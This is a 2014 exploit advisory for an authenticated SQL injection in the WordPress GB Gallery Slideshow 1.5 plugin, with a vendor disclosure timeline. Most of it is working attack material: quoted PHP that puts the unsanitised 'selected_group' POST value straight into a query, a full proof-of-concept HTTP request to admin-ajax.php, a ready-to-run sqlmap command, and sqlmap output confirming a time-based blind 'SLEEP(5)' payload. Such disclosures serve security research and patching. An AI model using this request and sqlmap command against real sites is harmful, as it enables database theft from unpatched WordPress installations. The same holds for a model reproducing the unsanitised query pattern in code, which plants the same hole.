WordPress GB Gallery Slideshow 1.5 SQL Injection

`######################  
# Exploit Title : Wordpress GB Gallery Slideshow 1.5 Authenticated SQL Injection  
  
# Exploit Author : Claudio Viviani  
  
# Vendor Homepage : http://gb-plugins.com/  
  
# Software Link : http://downloads.wordpress.org/plugin/gb-gallery-slideshow.1.5.zip  
  
# Date : 2014-08-09  
  
# Tested on : Linux / sqlmap 1.0-dev-5b2ded0  
Linux / Mozilla Firefox  
  
######################  
  
# Location :   
http://localhost/wp-content/plugins/gb-gallery-slideshow/GBgallery.php  
  
######################  
  
# Vulnerable code :  
  
if(isset($_POST['selected_group'])){  
global $gb_post_type, $gb_group_table, $wpdb;  
$my_group_id = $_POST['selected_group'];  
$my_group = $wpdb->get_results( "SELECT groups FROM $gb_group_table WHERE id = ".$my_group_id );  
$args = array(  
  
  
  
$_POST['selected_group'] it's not sanitized.  
  
######################  
  
PoC Exploit:  
  
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1  
Accept-language: en-us,en;q=0.5  
Accept-encoding: gzip,deflate  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
User-agent: sqlmap/1.0-dev-5b2ded0 (http://sqlmap.org)  
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7  
Host: 10.0.0.67  
Cookie: wordpress_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C5ae003a01e51c11e530c14f6149c9d07; wp-settings-time-1=1407537471; wp-settings-time-2=1406916594; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse; voted_2=6; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C6988bc86de7b7790fca51ea294e171a1; redux_current_tab=3  
Pragma: no-cache  
Cache-control: no-cache,no-store  
Content-type: application/x-www-form-urlencoded; charset=utf-8  
Content-length: 120  
Connection: close  
  
action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=[SQL_Injection]  
  
  
Exploit via sqlmap:  
  
sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://localhost/wp-admin/admin-ajax.php" \  
--data="action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2" -p selected_group --dbms=mysql   
  
---  
Place: POST  
Parameter: selected_group  
Type: AND/OR time-based blind  
Title: MySQL > 5.0.11 AND time-based blind  
Payload: action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2 AND SLEEP(5)  
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])  
---  
  
  
  
PoC Video:  
  
https://www.youtube.com/watch?v=CoPVqXwE3W4  
  
######################  
  
# Vulnerability Disclosure Timeline:  
  
2014-08-09: Discovered vulnerability  
2014-08-09: Vendor Notification (Web Customers Service Form)  
2014-08-10: Vendor Response/Feedback   
2014-08-11: Vendor Fix/Patch   
2014-08-11: Public Disclosure   
  
  
#####################  
  
Discovered By : Claudio Viviani  
http://www.homelab.it  
  
[email protected]  
[email protected]  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
  
#####################  
`